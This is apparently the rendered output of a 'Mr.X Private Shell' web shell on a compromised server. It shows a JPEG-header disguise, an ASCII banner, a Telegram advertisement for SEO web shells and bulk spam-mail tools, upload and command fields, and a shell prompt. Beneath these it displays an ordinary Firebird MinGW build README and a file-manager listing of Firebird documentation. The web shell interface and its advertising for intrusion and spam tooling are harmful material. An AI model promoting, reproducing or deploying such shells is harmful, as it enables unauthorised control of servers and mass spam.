����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE>Build procedure for MinGW compiler</TITLE>
<META NAME="Generator" CONTENT="EditPlus">
<META NAME="Author" CONTENT="">
<META NAME="Keywords" CONTENT="">
<META NAME="Description" CONTENT="">
</HEAD>

<BODY>
<H2>MINGW Notes</H2>
<hr/>
First version: Mar 6 2003<br>
Last Update: Mar 21 2010<br>
Authors: Blas Rodriguez Somoza (blas at puertareal dot com), Dmitry Sibiryakov (aafemt at mail dot ru)<br>

<h3>0.-Introduction</h3>
<p>The MSYS/MINGW build was started with 1.5.x<p>
<p>The only difference between the msvc build and the mingw build, is that the later one does not support the MS SEH exception handling. This means that some exceptions will not be catched and thus FB will abort.The sources using this exception handling are jrd/blob_filter.cpp, jrd/exe.cpp and jrd/fun.epp.</p>
<p>This port is not maintained anymore.</p>

<h3>1.-TODO</h3>
<ul>
<li>Support for ms SEH (superserver).</li>
<li>Executable size problem. The executables are too great.
(Partially solved by stripping symbols in production build.)</li>
</ul>

<h3>2.-INSTALLING MSYS and MINGW</h3>

<p>The following packages from <a href="http://www.mingw.org">http://www.mingw.org</a> are needed</p>
<p>MinGW
<ul>
<li>GCC 4.7.2 or better</li>
</ul>
</p>
<p>MSYS
<ul>
<li>MSYS</li>
<li>msysDTK</li>
</ul>
<p>If you intend to build an executable installer you will also need to download InnoSetup from <a href="http://www.jrsoftware.org/isdl.php">http://www.jrsoftware.org</a></p>
<ul>
<li>InnoSetup</li>
<li>InnoSetup QuickStart Pack</li>
</ul>
</p>
<p>STEPS TO INSTALL
<ol>
<li>Install MinGW, MSYS and msysDTK using appropriate instructions for each package.</li>
<li>Optionally install Bison.</li>
<li>Install InnoSetup and InnoSetup QuickStart Pack if you want to make a executable installer</li>
</ol>
</p>

<h3>3.- BUILD PROCESS</h3>

<ol>
<li>Start msys with the icon.</li>
<li>Go to the firebird root directory. For instance, if your root is d:\svn\firebird you must do cd /d/svn/firebird.</li>
<li>Start configure with the switches to get super/classic and production/development build, for instance:<br>
autogen.sh --enable-superserver<br>
The valid switches for autogen are<br>
--enable-superserver    Select superserver build, default classic build.<br>
--enable-debug          Select debug build, default production build.<br>
You can run ./configure --help to see full list of switches.
</li>
<li>Make the build. For instance if you want to get compiler messages isolated from make log<br> make &gt; make.log 2&gt;comp.log</li>
<li>After the build finish, the firebird directory with the binaries is created as gen/firebird.</li>
</ol>

<p>You can use 'make clean' to delete files created during build process when you don't need them anymore. 'make clean_all' will do even more clean. :)</p>
<p>BUILD NOTE:</p>
<p>There is a bug in MinGW GCC (&lt;=3.2) related with MSVC format for 64bit integers. When the I64 format is used, the compiler throws warnings of two types:</p>
<p>warning: [...] format, different type arg (arg 3)<br>
or<br>
warning: unknown conversion type character `I' in format<br>
warning: too many arguments for format</p>

<h3>4.- INSTALL.</h3>
<p>To create an installable build you need to execute the InnoSetup script.</p>
<ol>
<li>Open firebird/builds/install/arch-specific/mingw/super/FirebirdInstall_15.iss with InnoSetup.</li>
<li>Run the script with F9 or Run-&gt;Run</li>
<li>Close InnoSetup</li>
</ol>
<p>A executable installer will be in firebird/builds/install/arch-specific/mingw/super/</p>
<p>To install the build, simply run the resulting exe.</p>

<h3>5.- TROUBLESHOOTING</h3>

<p>AUTOGEN<p>
<p>The autogen script creates an output file in the same directory where it is executed with the name config.out. If the autogen fails look at config.out first.</p>

<p>Some permission problems, most probably related with the svn client, has been reported. If the autogen gives a permission related error, like<br><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;autom4te: cannot open configure: Permission denied<br><br>
execute in the same directory:<br><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&gt;chmod -R +uw *</p>
</BODY>
</HTML>

Filemanager

Name Type Size Permission Actions
sample Folder 0755
sql.extensions Folder 0755
CHANGELOG.md File 124.67 KB 0644
Firebird-3-QuickStart.pdf File 373.23 KB 0644
Firebird-4.0.6-ReleaseNotes.pdf File 1.08 MB 0644
IDPLicense.txt File 25.41 KB 0444
IPLicense.txt File 23.73 KB 0444
README.DiskSpaceAllocation File 3.23 KB 0644
README.Fedora File 732 B 0644
README.IPv6 File 2.11 KB 0644
README.NTSecurity File 1.67 KB 0644
README.Optimizer.txt File 4.22 KB 0644
README.SecureRemotePassword.html File 10.51 KB 0644
README.Win32LibraryInstallation.txt File 5.09 KB 0644
README.Win9X_NT_embedding File 1.08 KB 0644
README.build.macosx.md File 588 B 0644
README.build.mingw.html File 4.12 KB 0644
README.build.msvc.html File 5.9 KB 0644
README.build.posix.html File 26.14 KB 0644
README.coding.style File 1.37 KB 0644
README.connection_string_charset.txt File 2.07 KB 0644
README.connection_strings File 4.14 KB 0644
README.external_routines.txt File 4.11 KB 0644
README.fb_cancel_operation File 2.3 KB 0644
README.fb_shutdown File 4.44 KB 0644
README.fbsvcmgr File 5.22 KB 0644
README.garbage_collector File 2.19 KB 0644
README.gbak File 829 B 0644
README.incompatibilities.3to4.txt File 3.22 KB 0644
README.incompatibilities.txt File 1.79 KB 0644
README.instsvc File 7.24 KB 0644
README.intl File 21.38 KB 0644
README.isql_enhancements.txt File 10.54 KB 0644
README.makefiles File 3.38 KB 0644
README.md File 1.83 KB 0644
README.modern_cpp.md File 2.26 KB 0644
README.monitoring_tables File 19.57 KB 0644
README.online_validation File 3.9 KB 0644
README.performance_monitoring File 2.9 KB 0644
README.plugins.html File 15.2 KB 0644
README.providers.html File 10.51 KB 0644
README.raw_devices File 2.32 KB 0644
README.read_consistency.md File 14.09 KB 0644
README.read_password_from_file File 1.19 KB 0644
README.replication.md File 11.38 KB 0644
README.security_database.txt File 3.11 KB 0644
README.services_extension File 11.44 KB 0644
README.session_idle_timeouts File 4.82 KB 0644
README.sha1 File 6.78 KB 0644
README.statement_timeouts File 6.77 KB 0644
README.superclassic File 2.65 KB 0644
README.trace_services File 7.38 KB 0644
README.transaction_at_snapshot.md File 906 B 0644
README.trusted_authentication File 3.14 KB 0644
README.user.embedded File 3.4 KB 0644
README.user.troubleshooting File 5.57 KB 0644
README.wire.compression.html File 1.9 KB 0644
README.xnet File 1.35 KB 0644
udf_replace.sql File 10.73 KB 0600
udf_replace.txt File 2.81 KB 0600